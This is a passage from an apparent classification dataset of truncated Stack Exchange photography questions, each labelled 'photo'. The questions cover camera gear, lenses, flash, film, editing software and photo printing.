lenses for use on an APS-C body? Body: I have a Canon 550D which I've been using for around a year now. I really love it and have learned a great deal with this and the 18 - 135mm kit lens. But now with experience I feel the need to get ... ",['photo'] "Title: Where can I buy film for a Kodak Instamatic 500? Body: I have my father's vintage Kodak Instamatic 500 Camera. He took slides with this camera, of which I am now the fortunate owner (both the camera and the slides). I wonder if someone knows where I can ... ",['photo'] "Title: What hobbyist landscape lens should I get to go with my Nikon D90? Body: I am not a professional photographer but only enjoy it as a hobby. I have a particular interest in macro photography. I travel a lot to explore new places and most of my photography work happens to ... ",['photo'] "Title: What are the most important factors that need to be kept in mind while purchasing a manual flash gun? Body: What are the most important factors that need to be kept in mind while purchasing a manual flash gun? ",['photo'] "Title: For a novice to flash, what color correction gels would be best to experiment with? Body: I recently purchased a Canon Speedlight 430EX II, and have been experimenting with the flash on my camera. I have also ordered a 6 foot off-camera flash cable and a bracket that will allow me to move ... ",['photo'] "Title: Is it important that the Canon 1DX isn't specified to autofocus with lenses slower than f/5.6? [closed] Body: Seeking the lens market AND the related info WRT Canon 1D X, I found some things which seems concerning: 1st, a note from Canon's Chuck Westerfall (see here) saying: “AF is unavailable on the ... ",['photo'] "Title: Can I replace or repair the rubber wrapper for ease of holding my Rebel T2i? Body: I just got my Rebel T2i in the last two or three months, and since I haven't bought a camera bag yet, I just take my camera in my backpack with my notebook and other accessories. I don't know how ... ",['photo'] "Title: How much to charge for a print in an exhibit? Body: I have the opportunity to share a couple of my photos in an upcoming local photography exhibit. Myself and many of the others participating are non-professional hobbyists. Is there a standard or ... ",['photo'] "Title: How much more durable, really, are higher end cameras? Body: I notice this webpage seems to come up pretty often when people discuss the durability of their gear. http://www.olegkikin.com/shutterlife/ The site has some neat information. It allows people to ... ",['photo'] "Title: Where can I print photo albums in the UK? Body: Could someone recommend a service to print photo albums (in the UK)? I tried one popular company (that also has a chain of pharmacies), but their website is so full of bugs that it's almost not ... ",['photo'] "Title: How can I get accurate photo colors on a laptop screen? Body: My editing mainly involves these things: Adjusting the colors, white balance , brightness (slightly , to get that subtle combination) Cropping of the images. I have recently bought a laptop and I ... ",['photo'] "Title: Is it possible to get tethered focus and aperture control with any current DSLR? Body: I'm looking to get into some photography work and I had a couple questions. I'm quite an amateur at this, unfortunately, so I would appreciate any and all assistance! I want to be able to control the ... ",['photo'] "Title: Why are my NEF files damaged? Body: Can anyone help? After buying a Nikon D3100, I discovered that NEF files were not compatible with CS3, so at great expense, I bought CS5. Now... my raw NEF files are almost always corrupt when viewed ... ",['photo'] "Title: How to photograph panning with a point and shoot camera? Body: I have recently learnt about panning photography on the internet and I was curious about capturing one myself, But as an amateur I just own a Point and shoot camera (Samsung SL30), I have ... ",['photo'] "Title: Technical photography book for a very non-technical person? Body: I know somebody who is a keen photographer with, I think, an exceptional eye for artistic composition but who takes most (all?) of her photographs on Auto. I want to get her a book (for Christmas) to ... ",['photo'] "Title: How to shop for a lens filter? Body: What should I consider when shopping for a lens filter? I see filters that range from $15 to $115 and more. What are the differences between the $15 and the $115 filter? I'm asking in the ... ",['photo'] "Title: What is the best camera to buy for a child to help them learn about photography? Body: I have a seven year old daughter who is keen on getting a camera for Christmas. She is able to look after possessions (is very safe with her violin from school) although this is a recent development. ... ",['photo'] "Title: How to mass convert RAW images into JPEG in Lightroom 3? Body: I have 1000 raw photos that I would like to convert all to jpg. Is there a way I can do this all at once or can I only do it one by one? ",['photo'] "Title: What is the technical term for the time taken to see the final image on an IP security camera's screen? [closed] Body: What is the technical term for the time taken to see the final image on an IP camera's screen? Is it dependent on some parameter which I can look for? Actually this website has listed various ... ",['photo'] "Title: What does the mirror do when shooting in Nikon Live View tripod mode? Body: When shooting with Nikon's Live View in tripod mode, the camera uses contrast detection to focus. It does this by using the sensor, which it would seem would raise the mirror similar to mirror lock ... ",['photo'] "Title: Why do my photos have major flare on red clothing? Body: I have been shooting outdoors in heavy sun, people wearing red, and I am far away. I am getting so much flare on the red. I am using a lens hood. An other suggestions? ",['photo'] "Title: Why do I have a red dot in every photo? [duplicate] Body: Possible Duplicate: Why is my camera showing a lot of stuck red and white pixels? Every picture that I took today have a red dot on the same place in every photo. It looks like a monitor ... ",['photo'] "Title: How to back up .NEF files to cloud in a simple and affordable way? Body: I'm looking for a way to easily and affordably make backups of my .NEF files. Ideally the solution should be: As simple and easy to use as Dropbox (or even be automatic plugin in Aperture or action ... ",['photo'] "Title: What film should I use for black and white outdoor 'formal' shots? Body: I'm wondering what type of black and white film is best to shoot good-quality outdoor photos that capture the quality of the trees, etc., and still show detail in people's faces. Is there a ... ",['photo'] "Title: How can I think logically about getting correct exposure with flash? Body: I recently got a new off-camera flash (Nikon SB-700), and I'm having trouble thinking about the variables that go into proper exposure. For example, without flash, I have a little mental decision ... ",['photo'] "Title: How durable are photographic canvas prints to moisture and humidity? Body: I want to put photographic canvas prints on stretcher frames in my bathroom, how bad of an idea is this? Obviously it depends on how wet my bathroom is, but I would call it fairly typical, and it does ... ",['photo'] "Title: Do AF-S lenses work with bodies with in-built motors? Body: I have D-5000 body (without AF motor in the body) and two AF-S lenses. If I upgrade my body to more expensive body one with built-in AF motors, will AF-S lenses work (do autofocus) with new body ? ... ",['photo'] "Title: Image Stabilization in Lens vs Body: Which is Cheaper? Body: Is Image Stabilization better in the lens or the body? Someone already asked that. But I'm trying to make a purchasing decision. It seems that the short answer to my title question is that it's ... ",['photo'] "Title: Cons of using a manual flash on-camera as well? Body: Can we use a manual mode flash (specifically the Lumopro LP 160) On-Camera as well ? What are the cons of this ? The only one I can think of is no TTL support. Note : I will be using this with a ... ",['photo'] "Title: Should I have my lab color correct my images? Body: The labs that I deal with to get my images printed offer the option to color correct my images prior to printing. One example of what they do is: Per file color correction is available. We color ... ",['photo'] "Title: Can I achieve synthetic bokeh? Body: In order to have a good separation of the subject from the background you usually use fast lens with high aperture and so on. Can this, however, be achieved purely digitally? ",['photo'] "Title: Can I remove the cable in postprocessing for this photo? Body: I have Adobe Lightroom. I could get Adobe Photoshop but it will really cost. For this kind of photo adjustments is it worth? But first, can it be done with today's software? Here's the pic : PS: ... ",['photo'] "Title: What is a good starter camera for under $350? Body: I have a very limited budget. I have $350 [USD]. If I buy a used DSLR Camera and it doesn't work, it would be a huge loss. If I buy a compact digital camera, would I be able to do DSLR things like ... ",['photo'] "Title: Should I stick with Micro Four Thirds or switch to a larger format before investing in more gear? Body: Recently I was given a Panasonic GF2 micro 4/3 camera + 14mm pancake lens for my birthday — a nice upgrade to what I have been using recently. I want to start to take my photography more seriously, ... ",['photo'] "Title: What's the advantage of buying a fixed 50mm f/1.8 lens when my camera has an 18-55mm zoom lens? Body: I've got a Nikon D3100 with an 18-55mm zoom lens. I'm keen to experiment with some other lenses and a friend of mine recently reccommended I purchase a fixed 50mm f/1.8 lens as he said it's good for ... ",['photo'] "Title: Why does my autofocus fail in windy conditions? Body: When I say windy, I mean inside 100+mph prop-wash, shooting from an open cockpit aircraft. The camera is an Olympus C-765 UltraZoom, which features a retracting zoom lens. It may be that manually ... ",['photo'] "Title: How can I take nice pictures of bikes, as well as perhaps some of cyclists in motion? Body: I currently own a Nikon D40x and would like to start taking some nice stills of bikes, as well as people riding their bikes. I have the kit lens that came with the camera (18-55mm f/3.5-5.6G). The ... ",['photo'] "Title: What Android phone has the best camera? [closed] Body: I am going to buy an Android mobile phone and I want to be sure it has good camera (and video camera). What phones do you recommend that have good camera? ",['photo'] "Title: What are the key features of the Canon Speedlite 320EX? Body: I would like to find out the new key features of Canon Speedite 320EX and how to use them and to improve my flash photography. I have stated down three key areas but please feel free to add more and ... ",['photo'] "Title: Corrupt NEF files Body: I had some NEF files in a folder that I didn't do anything with. When importing them in Lightroom, no previews and a ""file unsupported or damaged message"" So I tried with Nikons ViewNX, nothing. Even ... ",['photo'] "Title: What are the differences between two generations of Tokina AT-X 124 AF PRO DX AF 12-24mm f/4? Body: I have been looking for a wide angle lens for a long time and have finally decided on the Tokina 12-24mm. When I went looking on eBay, I found there are two different types: The Tokina AT-X 124 AF ... ",['photo'] "Title: What type of effects can I obtain with UV, FLD, CPL filters if any? Body: Can someone give me examples and show the difference. I obtained these from amazon. I have played with them for a little while and I am not impressed/bought yet. UV filter has no affect other than ... ",['photo'] "Title: How can I increase depth of field when photographing through a microscope? Body: I was photographing a small beetle and ran into the problem that it was just 0.5 inches long, and the macro setting on my camera failed to produce a sufficiently detailed and crisp image. Therefore I ... ",['photo'] "Title: What battery do I need for a 35mm film Canon Rebel? Body: I have a Canon EOS Rebel 35mm film camera for my photography class and I need a battery, it didn't come with one. What battery do I need to buy? ",['photo'] "Title: Is there an HDR Equivalent of AutoStitch? Body: Is there a software that you give it a bunch of images and you get out a tone-mapped HDR image out of it automatically? I mean without having to know about white-points and different tone-mapping, ... ",['photo'] "Title: What software should I use for converting fisheye photos to normal rectilinear photos? Body: Can you recommand me a software for doing this job? I shoot using Sigma 8mm lens and I would like to be able to obtain a normal image out of that. The camera is canon 550D. ",['photo'] "Title: How can I fix a “Cannot communicate with battery” error on Canon 7D? Body: If I see the ""cannot communicate with battery"" error message on a Canon 7D, is there any way to fix it without sending it back to Canon? ",['photo'] "Title: Attending a concert: what non-professional equipment will I be able to get in? Body: First, my equipment: Canon EOS 60D, 18-135mm, 18-55mm, 55-250mm, 50mm f/1.4; Samsung EX-1 24-72mm f/1.8. I bought a ticket to see Yanni, this is a once in a lifetime event (last show was 15 years ... ",['photo'] "Title: What is the easiest way to alter white balance in Gimp? Body: Let's say I've accidentally shot my pictures on ""sunny"" white balace when I should have used ""shade"". What is the easiest way to warm the pictures up a bit in Gimp? The ""Colors/Color balance"" tool ... ",['photo'] "Title: What settings should I use for an air show shooting? [duplicate] Body: Possible Duplicate: How do I take pictures of planes flying at an airshow? There is an airshow in my city tomorrow and I want to get the best photos possible. I have a Canon EOS 600D ... ",['photo'] "Title: Can I trigger an optar 152M manually? Body: First off, I know nothing about flashes. I have an optar 152M flash that fits on top of the camera, and I want to trigger it manually. The flash seems to have a contact where it fits onto the ... ",['photo'] "Title: Any ideas for a photo booth props at a market? Body: I am putting together a farmers' market/flea market photo booth. I was hoping someone could give me some ideas for props that are cheap and easy. This is just a trial I am running locally. ",['photo'] "Title: What automatic modes are appropriate, if any, for outdoor vs. indoor situations? [duplicate] Body: Possible Duplicate: Why would I use manual camera controls instead of the automatic modes? I am asking this question particularly relevant to photography in Sunlight Indoors I hope the ... ",['photo'] "Title: Will I damage my camera carrying it everywhere? Body: I used to carry my point and shoot with me almost everywhere, and now that I've ""upgraded"" to a Canon 60D, I've been carrying it around. What I'm wondering is whether I'm likely to damage it or if ... ",['photo'] "Title: What should I consider when setting up photo sessions at 3rd party location? Body: Now that fall is here, I am considering approaching a local farm/apple orchard/pumpkin patch to set up a day of portrait sessions -- where families can come to the farm for a specific time frame and ... ",['photo'] "Title: What is the best way to clean studio backgrounds in Photoshop? Body: Studio backgrounds can be a pain in the but. They get wrinkled, they're hard to roll in and out and they get easily dirty. Does anybody know a good technique (or tutorial) how to clean them in ... ",['photo'] "Title: Which neck strap would be comfortable to use with a compact camera (Canon S90)? Body: After many near-misses with the supplied wrist strap I've decided I have to use a neck strap with my S90. I want something light, unobtrusive and comfortable. Currently I'm using thin elastic cord but ... ",['photo'] "Title: How to keep flash from disrupting the scene? Body: My friends and I have observed that the act of using a flash in informal settings (for example, pictures of a Christmas party or a busy toddler) tends to draw attention to the photographer and thus ... ",['photo'] "Title: Is there third-party software for Canon tethered live-view shooting? Body: I can use Canon EOS Utility to shoot tethered so that the live-view preview is displayed on the computer screen. However, I would like to know if there is any third-party software (non-Canon) that ... ",['photo'] "Title: Does focal length affect diffraction, in addition to aperture? Body: The reason I ask is that f/18 on a 24mm lens = 1.5mm, and f/18 on a 180mm lens = 10mm. I thought diffraction is due to the small physical size of the aperture, rather than the f-ratio, yet I only ever ... ",['photo'] "Title: For what type of shots are illumination fall-off effects more of problem? Body: Illumination fall-off effect tends to be most a problem for what type of shots? Indoor where shots involve lots of objects close together, or objects at a distance, or outdoor shots on a sunny or ... ",['photo'] "Title: What is the difference between print and slide film when the target is a digital file? Body: I'm looking to take some film with me on an upcoming trip and am not sure which to buy. I don't plan on making physical prints of the photos, just having them developed and then transferred to a CD. ",['photo'] "Title: Which camera is best for video and photography on low budget? [closed] Body: I want to buy a camera. I have no knowledge on camera. So help me to buy a best camera which is best for video and still? ",['photo'] "Title: Will the Nikkor 85mm f/1.4D be a good fit with the D60, even though it doesn't autofocus? Body: I've been using a Nikon D60 for over a year now, and thinking about upgrading the stock lens. I am thinking about this lens: Nikon Telephoto AF Nikkor 85mm f/1.4D IF Autofocus Lens But on the page ... ",['photo'] "Title: How to carry film through airports? Body: I had a business trip with some free time in the evening, so I took my photo gear with me, but on the last moment, decided to leave my film camera at home because I did not want to ruin the film with ... ",['photo'] "Title: Why am I getting overexposed shots in P mode with a D7000? Body: When using my D7000 I often have the feeling that it overexposes by 1/3 or even more, on the P programme - it also depends on the lens. Is it just me? Or am I doing something wrong? EDIT: Exposure ... ",['photo'] "Title: What is causing increased noise in my recent photos? Body: In the last two shoots I've taken I have noticed much more noise in the resulting photos. In the first instance, I put this down to my fault, as I was shooting at high ISO levels, but in the second ... ",['photo'] "Title: What would be the fastest memory card for a D5000 that is worth buying? Body: I own a D5000 and I wonder what memory card to buy for it. I will keep the kit 4GB and downgrade it to ""backup"" card probably (I will keep it always on me). Considering a RAW image (I shoot RAW ... ",['photo'] "Title: Where can I find firmware updates for Nikon and how do I install them? Body: I've been seeing for a while that there are firmware updates for cameras. In my current case I have a Nikon D90. Where can I find firmware updates and how do I update them? Thanks for any help. ",['photo'] "Title: How do I work with ice and a glass bottle for a product shoot? Body: I have a bottle of vodka that I want to have the effect of being frozen with shards of ice on it. If I lived in Alaska where I could leave it outside and drip water over the top every hour or so, ... ",['photo'] "Title: Where does the DSC file name prefix come from? Body: Without having a real problem with this, why did Nikon (maybe others too?) chose this file name prefix? ",['photo'] "Title: How can I achieve well focussed and sharp images at long focal lengths? Body: Well I guess this is a question every newbie asks. I have a Canon 550D with the 18-135mm kit lens. I was out on a small trip in a nearby town to take some good snaps with my DSLR. I know the lens ... ",['photo'] "Title: What are the summary rules for when to use image stabilization and when not to? Body: When I got my DSLR, I took a lot of pics and all of them came excellent, even though I had VR at the ""Off"" position. Since those came out so well, I wonder when should I turn VR on, and when I ... ",['photo'] "Title: Is there a dynamic-range reduction device (preferably passive, optical)? Body: When processing sound, one can use a Compressor to reduce the dynamic (DR) range of the signal. In photography, we often run into the problem of scenes with DR larger than the sensor's capture ... ",['photo'] "Title: What are the AF-A, AF-C and AF-S autofocus modes, and how and when should I use each one? Body: I have seen these autofocus options on all my Nikon DSLR cameras (D50, D80, D90) but I have never really used them. There is the AF button on top. What are AF-A, AF-C, and AF-S ? How do I use ... ",['photo'] "Title: What is CLA service? Body: I've seen the term used in used lens listings, e.g ""recently CLA'd"". I have a few questions, but I think they're related enough to only warrant one post: What does CLA stand for, and what is it? ... ",['photo'] "Title: How to postprocess photos with lots of blue haze? Body: I was in Northern Italy, and made some pictures there (with emphasis on sentimental value, not trying to do big art). Something I noticed both in real life and on the pictures is that the blue haze of ... ",['photo'] "Title: How to determine optimal color correction filters for a sensor? Body: Originally, this question was titled: How to detemine native color temperature of a sensor? For questions about warming filters and color filters in general, leading answers indicate that for optimal ... ",['photo'] "Title: Do crop sensors increase the depth of field when using full frame lenses? Body: I'm trying to achieve maximum depth of field without sacrificing light. I have a micro-4/3rds camera and i want to attach a full frame lens to it for the large and constant aperture. My question is, ... ",['photo'] "Title: Can I use macro extension tubes with telephoto lenses? Body: What I really want is an extension tube for my telephoto lens. (70-200mm Canon) I have an opportunity to purchase a number of macro tubes. Will those also work with the telephoto lens? ",['photo'] "Title: How do I turn photograph backgrounds transparent? Body: Excuse me if this question is in the wrong SE site, but it seems the most appropriate place. I have a client that makes children's accessories. She takes the pictures of her products herself. When ... ",['photo'] "Title: How do I fix a Nikon F75 which refuses to load film with an ""Err” message? Body: I loaded a new film into Nicon F75, closed the door and turned it on. However it seems like I did a poor job inserting the film because it did not clutch and I saw “Err” message on the screen. I ... ",['photo'] "Title: Does the Nikon D7000 video overheat like the D90? Body: I currently have a D90 and I'm shooting more and more video so I was considering going to the D7000. My question is, does the D7000 overheat after 5 consecutive 5min shooting and automatically shut ... ",['photo'] "Title: How do I choose which resolution (megapixel) and compression (normal, fine, superfine) to shoot in? Body: What do I lose if I do not shoot at maximum res? or the ""superfine"" setting? What are the disadvantages? I would like to learn how digital cameras save in lower resolutions jpegs. Is the extra ... ",['photo'] "Title: How to upload multiple CF/SD cards fast? Body: What tools are available out there (hardware and software) to upload CF (and SD) cards fast? I am looking for a unit that can take multiple at a time. After shooting a Wedding, for example, you are ... ",['photo'] "Title: What is the difference between in-lens image stabilizing and in-sensor image stabilizing? Body: And which one is more effective? ",['photo'] "Title: How can I affect color of a water droplet shot? Body: Experimenting with water droplets today. Pretty fun! I'd like to ask how can I improve upon it. First of all a picture of the setup: Water is contained within a plastic bag that is taped to a ... ",['photo'] "Title: How to both participate and take photos on an event? Body: It happens now and then when I'm invited to an event, like a boat cruise, a visit to zoo or a party. Since I like photography and am in the middle of a photo-a-day project, I usually take my DSLR bag ... ",['photo'] "Title: How can a 24-70mm and a 10-22mm both be “wide angle” lenses? Body: I've been looking at a 10-22mm lens for my Canon T2i. I've also come across some other ""wide angle"" lenses, like the Sigma 24-70mm F2.8. I don't understand how a wide angle lens can have such high ... ",['photo'] "Title: Do ND filters increase the dynamic range that a camera can 'see'? Body: I am attempting to work out, conceptually, how the use of a neutral density filter effects the resulting captured image. Do ND filters allow a camera to capture higher contrast scenes (without ... ",['photo'] "Title: What do all the polarizing filter acronyms mean? Body: I was shopping for a decent polarizing filter for my camera, but I got confused by all the acronyms and the variance in prices. For example in B&H stores, you can filter by Polarizer Combination: ... ",['photo'] "Title: How does one deal with too much light when taking a photo? Body: How does one cancel out extra light while clicking a photo? Is decreasing the aperture a better option, or using a faster shutter speed? What are other options we could try? ",['photo'] "Title: Are there any restrictions on taking photographs of the surfing on the beaches in New York while an event is taking place? [closed] Body: I'm planning to go to New York next week and will be spending some time at the ASP surf contest in Long Beach. Are there any restrictions on taking photographs of the surfing on the beaches in New ... ",['photo'] "Title: How do I create a spot light effect in Lightroom? Body: Having an effect of round spot light on the picture, so in the middle it's lighter and close to corners darker — what is the name of this effect in photography? What is the technique for this in ... ",['photo'] "Title: Can digital cameras sign images to prove authenticity? Body: Beyond the metadata/EXIF/IPTC (which can be easily altered), is it possible to prove that an image is authentic? If this is not possible, how does a photojournalist prove the authenticity of an ... ",['photo'] "Title: How do I remove photo-editor metadata from a JPG file? Body: How can I remove the header information which shows the name of image editing software? I want to ""clean"" the metadata from a JPG file so that nobody knows that image has been edited and appears as it ... ",['photo'] "Title: Why does my camera's meter suggest the same exposure time for lenses with different apertures? Body: On the same camera body (Canon 1Ds MkII) at the same ISO setting (400) and with no filters attached, two different lenses give the same exposure time (0.4s) at very different apertures. The lenses and ... ",['photo'] "Title: Do “body only” DSLR cameras come with a battery? Body: I am a novice on photography and planning to gift a DSLR camera to someone - Do the cameras - that claim body only products - have battery included with them?. Can anyone confirm if below product on ... ",['photo'] "Title: Alternative to 8-9' light stand, or a light stand extender? Body: I am shopping for a light stand and find that while 6'4"" (200cm) stands are affordable, 8' (240cm) and 9' (260cm) stands are double the price. Have you used any alternatives? I just want to be ready ... ",['photo'] "Title: How to compare RAW photos quickly? Body: It's not uncommon for me to return from a hike or outing and have 500+ images to ""sift"" before getting started on post processing. Is there a better way to compare 5-10 photos of the same image ... ",['photo'] "Title: Why doesn't the focus assist light get triggered on a flash connected via a Pocket Wizard TT1? Body: I have a Pocket Wizard TT1 and TT5 which work fine. I mount the TT1 on the camera shoe and the TT5 fires my remote flash ETTL fine. I now want a focus assist light, so I set a flash (580, 430 or ... ",['photo'] "Title: How do I enable auto-ISO in non-scene modes in a Nikon D5100? Body: I'm trying to enable auto-ISO on my dad's Nikon D5100. There is an ""Auto"" option for ""ISO sensitivity"" in the menu, logically-enough under ""ISO sensitivity settings""). This works fine in the Scene ... ",['photo'] "Title: Why are those green spots on my photo? Body: Took a pic with my 35mm Nikon lens last night, and got this light artifact. Is this something normal? Reflection? Is it dirt on my lens? How do I prevent this from happening? I think it only happened ... ",['photo'] "Title: What is the EF 28 - 105 mm 1: 3.5-4.5 lens best for? Body: I've been shooting for about a year now and am slowly acquiring lenses. I just bought two used on craigslist from someone who was getting rid of equipment. Canon EF 28 - 105 mm 1: 3.5-4.5 Canon EF ... ",['photo'] "Title: Do they make a single-leg stabilizer, similar to a tripod but with only one leg? Body: I'm looking for something that I can attach to my Nikon D5000 that will allow me to hold the camera steady, similar to a tripod, but MUCH lighter and easier to setup. I'm thinking it could also dub ... ",['photo'] "Title: How well do smart phone light meter apps work? Body: There are a number of smart phone apps which use the phone's camera as a light meter. How well do these work? The metering built into most modern cameras is very powerful and accurate, but in some ... ",['photo'] "Title: What third-party speedlite/flashes are available for Nikon? Body: I'm looking for a flash with a budget of < $200. I have a Nikon D3100, and I'm a beginner with photography, who is taking some classes and wants some flexibility with a decent bounce flash. I was ... ",['photo'] "Title: How much does it cost to replace a DSLR shutter? Body: I own a Nikon D5000 and I've read in numerous places that the earliest part that fails in a DSLR is the shutter. This is rated to 100,000 actuations, and since there are weeks when I shoot 1000 pics, ... ",['photo'] "Title: How can I overlay many frames from a video into a single merged image? Body: I am looking for a simple way to turn a video into one image. I want each frame to be added to together to create one (over exposed) image. The point of this is I am trying to convert a video of me ... ",['photo'] "Title: Which camera is more suitable for portrait taking between Canon 7D and 60d ? Body: I am upgrading from a Canon Rebel that I've owned and worked with for a while now, and I wonder: what are the advantages/disadvantages of a 60D vs a 7D? I am mainly interested in portraits (and some ... ",['photo'] "Title: What kind of lighting equipment should I have as a Strobist beginner? Body: What kind of lighting equipment should I have as a beginner? Basically I want to take some great portrait pictures with a decent lighting equipment. Any suggestion towards strobist accessories? ",['photo'] "Title: How do I keep the horizon straight when taking a photo (without a tripod)? Body: I use a DSLR and I very often find that when I shoot without a tripod, and with my eye to the viewfinder (as opposed to using LiveView), my photos end up slightly crooked: lines that should be ... ",['photo'] "Title: What was the “New York School” of photography? Body: My art history knowledge consists of half-remembered intro-level courses. I learned from following this question that Saul Leiter was a member of or made contributions to something called ""The New ... ",['photo'] "Title: What photographer took this mid 20th-century color photograph? Body: Can anyone please identify who is the photographer of this picture and what is the name of the picture? It appears taken in middle of 20th century (1950s?) in a rural place. It looks like summer. A ... ",['photo'] "Title: Is there a webcam that can focus to infinity, for time-lapse landscapes? Body: Does anyone here know of a webcam (at least 720p) that has the ability to focus to infinity? At least one webcam I know of (Logitech C910) doesn't allow that. I would like to use it for time lapse ... ",['photo'] "Title: How to prevent these automatic changes to images that are imported into Lightroom? Body: When I open images in Lightroom for the first time, during the loading process I see images that look ""great"", but after a while Lightroom applies some automatic processing to these images that ... ",['photo'] "Title: How do I start promoting a children's portrait business? Body: Could someone guide me as to how I need to promote children's portraits? Could you please highlight the dos and don'ts? I have been looking at setting up this business for a while now but have been ... ",['photo'] "Title: Is 2 megapixels enough for 4x6 prints? Body: My compact camera has a burst mode, which shoots 10 fps at 2 megapixels. I plan to use it at an upcoming company sporting event (basketball and tennis, outdoors) and plan to post memorable moments at ... ",['photo'] "Title: How can I decide to make photo B&W or leave it color? [duplicate] Body: Possible Duplicate: When is black and white likely to enhance an image? Are there any common photography rules to make black and white photos based on composition or other things? ",['photo'] "Title: Do still photographers use follow focus, as filmmakers do? Body: Is a follow focus system beneficial to photographers in low light or other situations? Almost all professional filmmakers use a similar system to manually focus lenses, but I am not aware of ... ",['photo'] "Title: What's a concise “I'm not dangerous” phrase for a business card? Body: Not being a street photographer, I find myself intimidated by onlookers when shooting in public. Given that and an increasingly hostile government attitude toward photographers, I'm thinking a ... ",['photo'] "Title: Is the difference between a good 50mm vs 85mm lens just your distance from the subject? Body: I was wondering: is the difference between a 50mm f/1.8 lens and a 85mm f/1.8 lens just your distance from the subject? Let's assume that distortion is minimal; both lenses are of high quality. Does ... ",['photo'] "Title: What insurance options are available for rental lenses? Body: I am thinking about renting a couple for expensive lenses ($900+) from Adorama. I'll be visiting NYC from Chicago. They state on their rental page. We do not provide Insurance. We strongly ... ",['photo'] "Title: Why is the Nikon 35mm f/2D AF considered a Wide-Angle lens? Body: What makes the Nikon 35mm f/2D AF Wide-Angle Lens lens be considered wide-angle as compared to the Nikon 35mm f/1.8G AF-S DX Lens which isn't advertised as wide-angle? ",['photo'] "Title: How do I find a point-and-shoot camera with an optical viewfinder? Body: These days it seems that all point-and-shoot cameras do not have optical viewfinders. Do any exist in the lower end of the price range? With so many cameras on the market, how can I identify the ones ... ",['photo'] "Title: How were these “Mysterious Dutch Light” photos made? Body: I stumbled on this photo on flickr. The complete ""The mysterious Dutch light"" set has a strange feeling about it. I'm not even sure if it is a photograph or painting. So my questions, what is so ... ",['photo'] "Title: Different sources of noise and ways to avoid/correct those [duplicate] Body: Possible Duplicate: What types of noise can be present in digital photographs? I've few questions related to noise found in digital images. There are topics on this forum on underexposure ... ",['photo'] "Title: What's the best way to hold a DSLR? Body: So, I've seem that some photographers are extremely sensitive about how to hold their camera. What's the best way to hold a DSLR? Or does it even matter at all. ",['photo'] "Title: Is a Tamron AF 28-300 F/3.5-6.3 with Canon 60D a wise choice for action photography? Body: I am considering buying a refurbished canon 60D and a Tamron AF 28-300 F/3.5-6.3XR lens. I take a lot of scenery but also fast action photography-dragracing etc. Is this a wise choice considering AF ... ",['photo'] "Title: What photo management software to use on local network with NAS and both Mac and Windows clients? [duplicate] Body: Possible Duplicate: Suggestions for shared cross-platform photo management? I am looking for photo management software that will work in the following environment: Photos all stored in a ... ",['photo'] "Title: Are aftermarket battery grips made for the Canon T2i compatibile with the T3i? Body: I know that the T2i (550d) and T3i (600d) both use the same OEM BG-E8 grip. There are some aftermarket grips (that are significantly less expensive than the OEM one) that are specifically marketed ... ",['photo'] "Title: How to calculate exposure time for Fuji Velvia RVP 50 using a DSLR spot meter? Body: I have a couple of RVP 50 rolls I would like to experiment with - The idea is to set up a tripod and use a Canon 5D MK2 in ISO 50 mode for composition focusing and exposure metering, then replace the ... ",['photo'] "Title: What are the proper Photoshop settings for the most consistent color on screen? Body: There are some in-depth answers on the topic of color profiles including this one by jrista, but it all makes my head spin, and I suspect I'm not alone. I'd like to ask a question that will hopefully ... ",['photo'] "Title: Are manufacturers' Image Stabilisation ratings for zoom lenses deceptive? Body: I've been considering getting an L-series zoom lens, and the two that I am looking at are the Canon 24-105mm f/4L IS, and the 24-70mm f/2.8L. Aside from the extra reach of the 24-105, the main ... ",['photo'] "Title: How quick are you able to set the exposure on the Sony NEX-C3 (or other cameras like it)? Body: Background I am considering the NEX-C3 as a nice camera to take on trips\shoots\vacation\outing\etc where my DSLR would be too large but I do not want to sacrifice my ability to set the exposure of ... ",['photo'] "Title: What are the benefits and costs of an image stabilized, slower lens vs a non-IS faster lens? Body: I am going thru a trade off decision between a 24-70 f2.8 lens and a 24-105 f4 IS lens from Canon. My dilemma is that the 24-105 focal length better matches my needs, but the f2.8 would occasionally ... ",['photo'] "Title: Are there rechargeable batteries which don't discharge when idle? Body: This is kind of a peripheral question — not exactly about photography, but about the batteries for my camera, which uses AA batteries. I have tried every known brand (to me) of rechargeable ... ",['photo'] "Title: How to improve my current workflow? Body: To handle a large number of pics a a smooth and efficient workflow is needed. I am currently doing the following, which I find too cumbersome and annoying. This has a bad effect on my pics, which ... ",['photo'] "Title: How can I reproduce this effect I created? Body: Below is a photo I took outside my house. I was messing around in Photoshop with different effects, and really like the outcome (bottom image). The problem is I don't remember everything I did to it. ... ",['photo'] "Title: What causes outdoor photos to turn out bright white when taken with a digital camera? Body: I set my Canon Powershot A460 to automatic mode and took photographs outdoors. When I see the to-be-photographed area on the LCD, it appears normal; but when I take a picture, the photo turns out ... ",['photo'] "Title: How do I clean dust in a Sony A55 SLT? Body: I am pretty sure I have dust inside of my Sony a55 SLT (Single Lens Translucent). However I'm not sure how to get rid of it or where exactly it is. I think it could be either on the translucent mirror ... ",['photo'] "Title: What steps do I need to take to deconstruct the lighting of a portrait? Body: In general, what steps should I take to deconstruct the lighting on a portrait that somebody else took? Are there certain things I should look for that provide visual clues? What can I look for ... ",['photo'] "Title: Which of these three prime lenses should I choose for my Canon 5D Mark II? [closed] Body: Which lens should I pick between the following, I'm after nice color / contrast: Leica 50mm f/2 Summicron-R Canon EF 50mm f/2.5 Macro Voigtländer 40mm f/2 Ultron SL II Anyone with experience with ... ",['photo'] "Title: Is it safe to clean SLR lenses with pressurized computer dust cleaners? Body: Is it safe and a good idea to clean DSLR lens using computer dust removal, which has powerful air pressure ? ",['photo'] "Title: In which situation should you not use the manual focus? Body: Couple of weeks back, I discovered the power of manual focus, and now for each and every shot, I use manual focus! Are there some situations where manual focus doesn't make much sense and we should ... ",['photo'] "Title: How do the various options offered by print labs compare for B&W printing? [closed] Body: What lab, in combination with papers they offer, are the best for printing your black-and-white images? I tested eight papers and four U.S. labs and wrote a blog post reviewing the results, but that's ... ",['photo'] "Title: What is a good stationary setup for taking pictures of small paper goods? Body: I'd like to set up a stationary indoor photography station for quickly taking pictures of small paper goods such as: Boxes (small) Paper Large pictures Books (covers) Mugs Plates I would like to ... ",['photo'] "Title: What adapter do I need to mount a Konica lens on an Olympus E-520? Body: I bought a Konica Super Albinar MC auto zoom 1:4.5 F=80-200 mm no. 911485 55 lens for my E-520 Olympus camera. The adapter I already have does not fit and I desperately need to know what kind of ... ",['photo'] "Title: How can I achieve this effect, where the flower is sharp and everything else is blurry? Body: I was wondering how it is possible to take a picture like this. Please have a look here 